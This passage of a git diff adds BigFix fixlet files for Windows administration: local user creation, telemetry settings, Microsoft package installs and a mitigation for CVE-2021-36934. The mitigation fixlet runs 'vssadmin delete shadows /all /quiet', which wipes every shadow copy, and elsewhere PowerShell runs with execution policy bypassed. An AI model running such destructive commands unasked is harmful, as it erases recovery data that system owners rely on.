+  ID       : 27388
+  Author   : kapax
+  Domain   : BESC
+  Imported : 2025-10-24T07:35:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows - New local user definition</Title>
+    <Description><![CDATA[<DIV id=fixletMessage2 class=FixletMessage>
+<P>There are times when your Windows&nbsp;systems are not joined to a domain and you need to define and use a common user on many systems (e.g.: an specific application user) that cannot be inherited by the Active Directory definition.</P>
+<P>Defining and managing a common local user at scale can be cumbersome or overwhelming.</P>
+<P>This&nbsp;task prompts for user/password combination to define a new windows local user and assigning it to a LocalGroup. Password travels encrypted and is not visible nor reusable.</P>
+<P>User is defined with an attribute to not Expire the given password.</P>
+<P>Error Conditions:</P>
+<DIV>
+<UL>
+<LI>If the user already exists the action will fail
+<LI>If a Password policy enforces the minimum password lenght on the target system, task execution will stop when the provided password is not compliant.</LI></UL></DIV>
+<P>If the specfied&nbsp;local group doesn't exists or the group is not specified, the command will NOT try to create a new group but will proceed successfully without assigning the user to the group.<BR>&nbsp;</P><script>
+    loaded = false;
+    var CODE_SITE_NAME = 'BES Support' ;
+    function loadScript (siteName, callback) {
+      loaded = false;
+      var relevanceQuery ='( value of it) of (mime fields of (bes fixlets whose ( name of it = "Parameterized Fixlet Library" and  name of site of it = \"' + siteName + '\" ))) whose (name of it = "vrt_utils.js")'
+      var code = EvaluateRelevance(relevanceQuery);
+      var head = document.getElementsByTagName("head")[0];
+      var script   = document.createElement("script");
+      script.type  = "text/javascript";
+      script.text = code;
+      head.appendChild(script);
+      callback();
+    }
+    function scriptLoaded(){
+      if (!loaded) {
+        if ( typeof FixletUtils !== 'undefined') {
+           loaded = true;
+           var relQuery = "(messages of it) of bes fixlets whose (name of it = \"Parameterized Fixlet Library\" and ((name of it ) of site of it = \"" + CODE_SITE_NAME +"\" ))";
+           var messages = EvaluateRelevance(relQuery);
+           var regex = /\s*<DIV id=globalizationMessageDiv  style="display:none;">([\x00-\x7F]+)\s*<\/Div>/i;
+           var matches = regex.exec(messages);
+           matches[1]=matches[1].replace(/<br>/gi,"");
+           eval(matches[1]);
+           FixletUtils.initFixletRender();
+        }
+    }
+}
+    loadScript(CODE_SITE_NAME, scriptLoaded);
+  </script>
+<DIV class=FixletProperty>Written by <A href="mailto:andrea.capasso@hcl-software.com">andrea.capasso@hcl-software.com</A> using documentation from <A href="https://bigfix-wiki.hcltechsw.com/wikis/home?lang=en-us#!/wiki/BigFix%20Wiki/page/Creating%20parameterized%20fixlets">BigFix Wiki </A>for <A href="https://bigfix-wiki.hcltechsw.com/wikis/form/anonymous/api/wiki/9800bed4-8101-452b-930b-807aed3eb996/page/7f83cd36-a84c-49b4-9564-2b4706d5fc73/attachment/4475deef-1e3e-4886-95af-a15b1babb022/media/Creating%20parameterized%20fixlets_att_Creating%20Parameterized%20Fixlets%20V1.0.doc">parametrized fixlets</A></DIV></DIV>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists true whose (if true then in proxy agent context else false) then false else true</Relevance>
+    <Category>Utility</Category>
+    <Source>andrea.capasso@hcl-software.com</Source>
+    <SourceReleaseDate>2025-10-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>parametermetadatatag</Name>
+      <Value>
+{
+    &quot;NewUser&quot;: {
+        &quot;Name&quot;: &quot;NewUser&quot;,
+        &quot;Title&quot;: &quot;New User Name: &quot;,
+        &quot;Description&quot;: &quot;Enter the new account name: &quot;,
+        &quot;UIType&quot;: &quot;Textbox&quot;,
+        &quot;Default&quot;: &quot;NewUser&quot;,
+        &quot;Required&quot;: &quot;1&quot;
+    },
+    &quot;RDPW&quot;: {
+        &quot;Name&quot;: &quot;RDPW&quot;,
+        &quot;Title&quot;: &quot;User Password: &quot;,
+        &quot;Description&quot;: &quot;Define user&apos;s access Password: &quot;,
+        &quot;Encrypt&quot;: &quot;true&quot;,
+        &quot;UIType&quot;: &quot;Textbox&quot;,
+        &quot;SubUIType&quot;: &quot;Password&quot;,
+        &quot;Required&quot;: &quot;1&quot;
+    },
+    &quot;Groupname&quot;: {
+        &quot;Name&quot;: &quot;Groupname&quot;,
+        &quot;Title&quot;: &quot;Group Name: &quot;,
+        &quot;Description&quot;: &quot;Enter the group to assign the new account: &quot;,
+        &quot;UIType&quot;: &quot;Textbox&quot;,
+        &quot;Default&quot;: &quot;Guests&quot;,
+        &quot;Required&quot;: &quot;0&quot;
+    },
+    &quot;NewUserDescription&quot;: {
+        &quot;Name&quot;: &quot;NewUserDescription&quot;,
+        &quot;Title&quot;: &quot;New User Description: &quot;,
+        &quot;Description&quot;: &quot;Enter the group to assign the new account: &quot;,
+        &quot;UIType&quot;: &quot;Textbox&quot;,
+        &quot;Default&quot;: &quot;Local User created by BigFix Fixlet&quot;,
+        &quot;Required&quot;: &quot;0&quot;
+    }
+}
+			</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 24 Oct 2025 14:32:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to deploy this action with NET USER.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//action parameter query "NewUser" with description "Enter the new account:" with default "useraccount"
+//action parameter query "Groupname" with description "Enter the group to add the user to:" with default "Administrators"
+//action parameter query "NewUserDescription" with description "Enter the new account Description:" with default "User Description"
+continue if {not exists local user (parameter "NewUser")}
+continue if {minimum password length of security database <= length of (parameter "RDPW")}
+action log command
+waithidden net user "{parameter "NewUser"}" "{parameter "RDPW"}" /ADD /passwordreq:yes /expires:never /COMMENT:"{parameter "NewUserDescription"}"
+continue if {exists local user (parameter "NewUser")}
+action log all
+//Need to use Powershell 64 Bit
+action uses wow64 redirection false
+//waithidden %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Set-LocalUser -Name '{parameter "NewUser"}' -PasswordNeverExpires:$true"
+waithidden powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Set-LocalUser -Name '{parameter "NewUser"}' -PasswordNeverExpires:$true"
+// waithidden wmic UserAccount where Name="{parameter "NewUser"}" set PasswordExpires=False
+waithidden net user "{parameter "NewUser"}" /Active:YES
+if {parameter "Groupname" as trimmed string is not "" and  exists local group (parameter "Groupname")}
+waithidden net localgroup "{parameter "Groupname"}"  "{parameter "NewUser"}" /ADD
+  // exit code 2 when the user is already there
+continue if {exit code of action as integer = 0 or exit code of action as integer = 2}
+endif]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows 10 Configuration__ Set Telemetry Level to _Basic_ (11671).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows 10 Configuration__ Set Telemetry Level to _Basic_ (11671).bes
new file mode 100644
index 000000000..fffc657a1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows 10 Configuration__ Set Telemetry Level to _Basic_ (11671).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : <Windows 10 Configuration>: Set Telemetry Level to "Basic"
+  ID       : 11671
+  Author   : riffk
+  Domain   : BESC
+  Imported : 2016-04-05T13:10:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>&lt;Windows 10 Configuration&gt;: Set Telemetry Level to &quot;Basic&quot;</Title>
+    <Description><![CDATA[<P>Sets the registry value to control the telemetery setting for Windows 10</P>
+<P>Configure telemetry and other settings in your organization (Windows)<BR><A href="https://technet.microsoft.com/en-us/library/mt577208(v=vs.85).aspx">https://technet.microsoft.com/en-us/library/mt577208(v=vs.85).aspx</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance>/* True if not set to Basic */ exists values &quot;AllowTelemetry&quot; whose (it != &quot;1&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection&quot; of (x32 registries; x64 registries)</Relevance>
+    <Relevance>/* Windows 10 Only */ (version of it as string starts with &quot;10.&quot;) of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 05 Apr 2016 20:07:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Registry value to Basic for Windows 10 Telemetry
+
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection]&quot; &quot;AllowTelemetry&quot;=dword:00000001
+
+	else
+
+		regset &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection]&quot; &quot;AllowTelemetry&quot;=dword:00000001
+
+endif
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows 10 vulnerability CVE 2021-36934 (TESTING) v2 (26867).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows 10 vulnerability CVE 2021-36934 (TESTING) v2 (26867).bes
new file mode 100644
index 000000000..8972127fe
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows 10 vulnerability CVE 2021-36934 (TESTING) v2 (26867).bes	
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows 10 vulnerability CVE 2021-36934 (TESTING) v2
+  ID       : 26867
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2021-07-23T05:54:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows 10 vulnerability CVE 2021-36934 (TESTING) v2</Title>
+    <Description><![CDATA[<P>Windows 10 Elevation of Privilege Vulnerability </P>
+<P>CVE 2021-36934</P>
+<P>SAM hives readable by everyone account as of Windows 10 (1809)<BR>Current Fixlet relevance includes Windows 10 without limiting to (1809)<BR><BR>Deletes all VSS Shadow copies, as recommended by Microsoft.</P><P>Added Windows Server 2019 to relevance after udpates to the Microsoft guidance</P>
+<P>&nbsp;</P>
+<P>Please test well before using as this is BigFix.me community content</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists files &quot;config/SAM&quot; whose (exists entries whose (account name of trustee of it = &quot;Users&quot; and generic read permission of it and not deny type of it) of dacls of security descriptors of it) of native system folder</Relevance>
+    <Relevance>name of operating system = &quot;Win10&quot; OR name of operating system = &quot;Win2019&quot;</Relevance>
+    <Source>Alpha BigFix.me community content</Source>
+    <SourceReleaseDate>2021-07-21</SourceReleaseDate>
+    <CVENames>CVE 2021-36934</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 21 Jul 2021 17:11:46 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 21 Jul 2021 10:13:29 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 21 Jul 2021 10:13:29 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>alpha test vulnerability SAM</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>26866</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//redirect to 64 bit versions
+action uses wow64 redirection false
+
+//icacls command to add inheritance to current permissions
+waithidden cmd.exe /C icacls.exe &quot;{pathname of windows folder}\system32\config\*.*&quot; /inheritance:e
+
+//delete prior VSS shadow copies
+waithidden cmd.exe /C vssadmin delete shadows /all /quiet
+</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28161">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;for vunlerability information from Microsoft</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934</ActionScript>
+    </Action>
+    <Action ID="Action28162">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to information about VSSAdmin to delete shadow copies</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-delete-shadows</ActionScript>
+    </Action>
+    <Action ID="Action28163">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://bigfix.me/cdb/fixlet/26866</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows 11 Upgrade Eligibility probe (26878).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows 11 Upgrade Eligibility probe (26878).bes
new file mode 100644
index 000000000..8706f1981
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows 11 Upgrade Eligibility probe (26878).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows 11 Upgrade Eligibility probe
+  ID       : 26878
+  Author   : marjan
+  Domain   : BESC
+  Imported : 2021-10-08T12:58:37
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows 11 Upgrade Eligibility probe</Title>
+    <Description><![CDATA[<FONT size=2> <P><BR>This task runs a dxdiag executable to generate results for Video Card Check property in <?Relevance link of fixlets whose (analysis flag of it AND mime field "x-fixlet-win11-eligibility" of it = "analysis" ) of current bes site ?>  analysis. Please run this task on all of your Windows 10 devices.</P>]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true</Relevance>
+    <Relevance>name of operating system as lowercase starts with &quot;win10&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-09-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 29 Sep 2021 03:43:54 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-win11-eligibility</Name>
+      <Value>probeTask</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">parameter &quot;folderpath&quot; = &quot;{pathname of parent folder of client}\win11-eligibility&quot;
+
+folder create &quot;{parameter &quot;folderpath&quot;}&quot;
+delete &quot;{parameter &quot;folderpath&quot;}\dxdiag&quot;
+
+wait dxdiag.exe /whql:off /dontskip /t &quot;{parameter &quot;folderpath&quot;}\dxdiag&quot;
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows Installer 3.1 Redistributable (v2) (103).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows Installer 3.1 Redistributable (v2) (103).bes
new file mode 100644
index 000000000..03f0a926b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows Installer 3.1 Redistributable (v2) (103).bes	
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows Installer 3.1 Redistributable (v2)
+  ID       : 103
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows Installer 3.1 Redistributable (v2)</Title>
+    <Description><![CDATA[This task will deploy: Windows Installer 3.1 Redistributable (v2).<BR><BR>This task is applicable on: Windows 2000, Windows XP, Windows XP x64, Windows 2003 and Windows 2003 x64. ]]></Description>
+    <Relevance>(name of it = &quot;Win2000&quot; OR name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it)) of operating system AND TRUE</Relevance>
+    <Relevance>exists value &quot;InstallerLocation&quot; of key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer&quot; of native registry</Relevance>
+    <Relevance>exists file &quot;MSI.DLL&quot; of folder (value &quot;InstallerLocation&quot; of key &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer&quot; of native registry)</Relevance>
+    <Relevance><![CDATA[version of file "MSI.DLL" of folder (value "InstallerLocation" of key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer" of native registry) < "3.1.4001.5512"]]></Relevance>
+    <Category>Install</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-03</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 03 Oct 2012 16:07:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch WindowsInstaller-KB893803-v2-x86.exe sha1:8318455b36ba0a748307459279d46f2f4cdb5a0e size:2585872 http://download.microsoft.com/download/1/4/7/147ded26-931c-4daf-9095-ec7baf996f46/WindowsInstaller-KB893803-v2-x86.exe
+wait __Download\WindowsInstaller-KB893803-v2-x86.exe /quiet /norestart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action256">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=25</ActionScript>
+    </Action>
+    <Action ID="Action257">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://msdn.microsoft.com/en-us/library/windows/desktop/aa372856(v=vs.85).aspx</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64) (22466).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64) (22466).bes
new file mode 100644
index 000000000..177754781
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64) (22466).bes	
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64)
+  ID       : 22466
+  Author   : dkf278
+  Domain   : BESC
+  Imported : 2016-10-29T15:22:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows Management Framework 5.0 - Windows 7, Windows 8.1, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2 (x64)</Title>
+    <Description><![CDATA[<P>Windows Management Framework 5.0 includes updates to Windows PowerShell, Windows PowerShell Desired State Configuration (DSC), Windows Remote Management (WinRM), Windows Management Instrumentation (WMI). Release notes:</P>
+<P>Windows Management Framework (WMF) 5.0 brings functionality that has been updated from WMF 4.0. WMF 5.0 is available for installation only on Windows Server 2012 R2, Windows Server 2012, Windows 2008 R2, Windows 8.1, and Windows 7 SP1. Some of the new and updated features in this release include: <BR></P>
+<UL>
+<LI>Just Enough Administration (JEA)
+<LI>Creating Custom Types using PowerShell Classes
+<LI>Improvements in PowerShell Script Debugging
+<LI>Improvements in Desired State Configuration (DSC)
+<LI>Audit PowerShell Usage using Transcription and Logging
+<LI>Software Discovery, Install and Inventory with PackageManagement
+<LI>PowerShell Module Discovery, Install and Inventory with PowerShellGet
+<LI>PowerShell Script Discovery, Install and Management with PowerShellGet
+<LI>New and updated cmdlets based on community feedback
+<LI>Information Stream
+<LI>Generate PowerShell Cmdlets based on OData Endpoint
+<LI>Network Switch Management with PowerShell
+<LI>Software Inventory Logging (SIL)</LI></UL>
+<DIV class=supported-os><B><SPAN class=loc locid="aa4e2626-71f3-bb4d-db0b-1bf48b77fe51" srcid="aa4e2626-71f3-bb4d-db0b-1bf48b77fe51">Supported Operating System (s)</SPAN></B></DIV>
+<P itemprop="operatingSystem">Windows 7 Service Pack 1, Windows 8.1, Windows Server 2008 R2 SP1, Windows Server 2012, Windows Server 2012 R2 </P>
+<UL class="htmldetails other-requirements">
+<UL>
+<LI>Windows Server 2012 R2
+<LI>Windows Server 2012
+<LI>Windows Server 2008 R2 SP1
+<LI>Windows 8.1
+<LI>Windows 7 SP1</LI></UL><BR><B>**IMPORTANT**</B><BR>
+<UL>
+<LI>Please see <A href="http://go.microsoft.com/fwlink/?LinkID=823123"><FONT color=#0066cc>release notes</FONT></A> for the list of products that are compatible and incompatible with Windows Management Framework 5.0.
+<LI>WMF 5.0 requires Microsoft .NET Framework 4.5 or above. You can install Microsoft .NET Framework 4.5 or above by following the instructions at <A href="https://msdn.microsoft.com/en-us/library/5a4x27ek(v=vs.110).aspx"><FONT color=#0066cc>Installing the .NET Framework</FONT></A>.</LI></UL>
+<LI><STRONG>Note:</STRONG> Some computers may report back as 'Pending Restart' once the update has run successfully, but will not report back their final status until the computer has been restarted.</LI></UL>
+<P><STRONG>Size of File</STRONG>:<STRONG><EM><U>20.7</U> <U>MB</U></EM></STRONG></P>]]></Description>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Category>Windows Updates</Category>
+    <Source>www.dkforeman.com</Source>
+    <SourceID>KB3134760</SourceID>
+    <SourceReleaseDate>2016-10-28</SourceReleaseDate>
+    <SourceSeverity>Update</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 29 Oct 2016 10:43:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[download https://download.microsoft.com/download/2/C/6/2C6E1B4A-EBE5-48A6-B225-2D2058A9CEFB/Win7AndW2K8R2-KB3134760-x64.msu
+continue if {(size of it = 21779572 AND sha1 of it = "d720851ef4b5a37c1c8bdd2e5bf4c77dcc625e8c") of file "Win7AndW2K8R2-KB3134760-x64.msu" of folder "__Download"}
+// Is Windows Update service running?
+continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
+wait {system folder as string & "\"}wusa.exe __Download\Win7AndW2K8R2-KB3134760-x64.msu /quiet /norestart
+action requires restart "d720851ef4b5a37c1c8bdd2e5bf4c77dcc625e8c"]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action23448">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to&amp;nbsp;read up on&amp;nbsp;the Knowledge Base Article for this update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://go.microsoft.com/fwlink/?LinkID=717903</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3964).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3964).bes
new file mode 100644
index 000000000..bdd068c6e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3964).bes	
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows PowerShell 2.0 Available
+  ID       : 3964
+  Author   : rafansm
+  Domain   : BESC
+  Imported : 2015-01-30T09:45:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows PowerShell 2.0 Available</Title>
+    <Description><![CDATA[<P>Install Windows PowerShell version 2.0 </P>
+<P>After the installation of PowerShell in Windows 2008 servers it will be required reboot the server.</P>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
+    <Relevance><![CDATA[NOT ( exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry ) OR ( (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry) AND (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version < "2.0") of registry) )]]></Relevance>
+    <Category>Update</Category>
+    <Source>rafansm@br.ibm.com</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-01-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>IEM GTS Support Team</Name>
+      <Value>PowerShell</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Fri, 23 Jan 2015 13:46:56 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Jan 2015 17:41:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {((name of it = "WinXP") OR (name of it = "WinXPe")) of operating system AND TRUE}
+	download http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
+	continue if {(size of it = 6156064 AND sha1 of it = "540d661066953d76a6907b6ee0d1cd4531c1e1c6") of file "WindowsXP-KB968930-x86-ENG.exe" of folder "__Download"}
+	wait __Download\WindowsXP-KB968930-x86-ENG.exe /quiet /norestart
+
+elseif {(name of it = "WinVista" AND product type of it = nt workstation product type AND x64 of it) of operating system AND TRUE}
+	download http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
+
+elseif {((name of it = "WinVista" AND product type of it = nt workstation product type AND NOT x64 of it)) of operating system AND TRUE}
